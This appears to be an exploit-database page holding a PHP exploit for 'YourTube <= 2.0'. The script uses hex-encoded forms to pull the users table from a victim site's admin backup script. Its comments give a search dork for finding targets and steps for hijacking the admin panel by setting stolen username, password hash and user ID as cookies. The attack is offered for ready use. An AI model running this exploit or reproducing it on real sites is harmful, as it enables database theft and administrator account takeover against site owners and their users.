YourTube <= 2.0 Arbitrary Database Disclosure Exploit

Exploit Code :

<?
//=> exploit : YourTube <= 2.0 Remote SQL Database Disclosure
//=> info : http://www.ac4p.com
//=> DORK: "powered by yourtube"
//=> found by: Security Code Team - thanks for sniper code and Qabandi
--
//=> our home: WwW.Sec-Code.com
//=> greats 4 our members in our home --
///

// - Upload this file to Apache server and fill victim site in
the feild -
// - press the button to download the database -
// - copy admin information [ hash passwd -username-userid] :)

// -now use the cookies to enter admin cp - go here =>
http://victim.com/path/cp -- and put there information
// - one by one --like this for example
javascript:document.cookie="username=admin";
//
javascript:document.cookie="password=9662183a3e621d636cb373f6e18a8f04";
//
javascript:document.cookie="user_id=1";
//
// \reload the page and you will be admin /
//
// pease -- visit us www.sec-code.com --
if (isset($_GET['Qabandi'])) {
echo
"\x3C\x66\x6F\x72\x6D\x20\x6E\x61\x6D\x65\x3D\x27\x66\x6F\x72\x6D\x77\x27\x
20\x6D\x65\x74\x68\x6F\x64\x3D\x27\x70\x6F\x73\x74\x27\x20\x61\x63\x74\x69\
x6F\x6E\x3D'". $_POST[victim]
."\x2F\x63\x70\x2F\x62\x61\x63\x6B\x75\x70\x2E\x70\x68\x70\x27\x3E\x3C\x69\
x6E\x70\x75\x74\x20\x6E\x61\x6D\x65\x3D\x27\x61\x63\x74\x69\x6F\x6E\x27\x20
\x74\x79\x70\x65\x3D\x27\x68\x69\x64\x64\x65\x6E\x27\x20\x76\x61\x6C\x75\x6
5\x3D\x27\x79\x65\x73\x27\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x
3D\x27\x68\x69\x64\x64\x65\x6E\x27\x20\x6E\x61\x6D\x65\x3D\x27\x74\x61\x62\
x6C\x65\x6E\x5B\x5D\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x61\x63\x34\x70\x63
\x6F\x6D\x5F\x75\x73\x65\x72\x73\x27\x20\x63\x68\x65\x63\x6B\x65\x64\x3D\x2
7\x63\x68\x65\x63\x6B\x65\x64\x27\x20\x2F\x3E\x3C\x2F\x74\x64\x3E\x3C\x69\x
6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x27\x20\
x6E\x61\x6D\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x32\x27\x20\x63\x6C\x61\x73
\x73\x3D\x27\x62\x75\x74\x74\x6F\x6E\x73\x27\x20\x76\x61\x6C\x75\x65\x3D\x2
7\x47\x65\x74\x20\x61\x63\x34\x70\x63\x6F\x6D\x5F\x75\x73\x65\x72\x73\x27\x
20\x2F\x3E\x3C\x2F\x66\x6F\x72\x6D\x3E";
} else{
echo
"\x3C\x66\x6F\x72\x6D\x20\x6E\x61\x6D\x65\x3D\x27\x66\x6F\x72\x6D\x31\x27\x
20\x65\x6E\x63\x74\x79\x70\x65\x3D\x27\x6D\x75\x6C\x74\x69\x70\x61\x72\x74\
x2F\x66\x6F\x72\x6D\x2D\x64\x61\x74\x61\x27\x20\x61\x63\x74\x69\x6F\x6E\x3D
\x27". $PHP_SELF
."\x3F\x51\x61\x62\x61\x6E\x64\x69\x3D\x31\x27\x20\x6D\x65\x74\x68\x6F\x64\
x3D\x27\x70\x6F\x73\x74\x27\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65
\x3D\x27\x74\x65\x78\x74\x27\x20\x73\x69\x7A\x65\x3D\x27\x32\x35\x27\x20\x6
E\x61\x6D\x65\x3D\x27\x76\x69\x63\x74\x69\x6D\x27\x20\x76\x61\x6C\x75\x65\x
3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x56\x49\x43\x54\x49\x4D\x2F\x53\x43\x52\
x49\x50\x54\x2F\x27\x20\x2F\x3E\x3C\x62\x72\x3E\x3C\x69\x6E\x70\x75\x74\x20
\x74\x79\x70\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x27\x20\x6E\x61\x6D\x65\x3
D\x27\x71\x75\x62\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x4E\x65\x78\x74\x27\x
3E";
}
?>

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason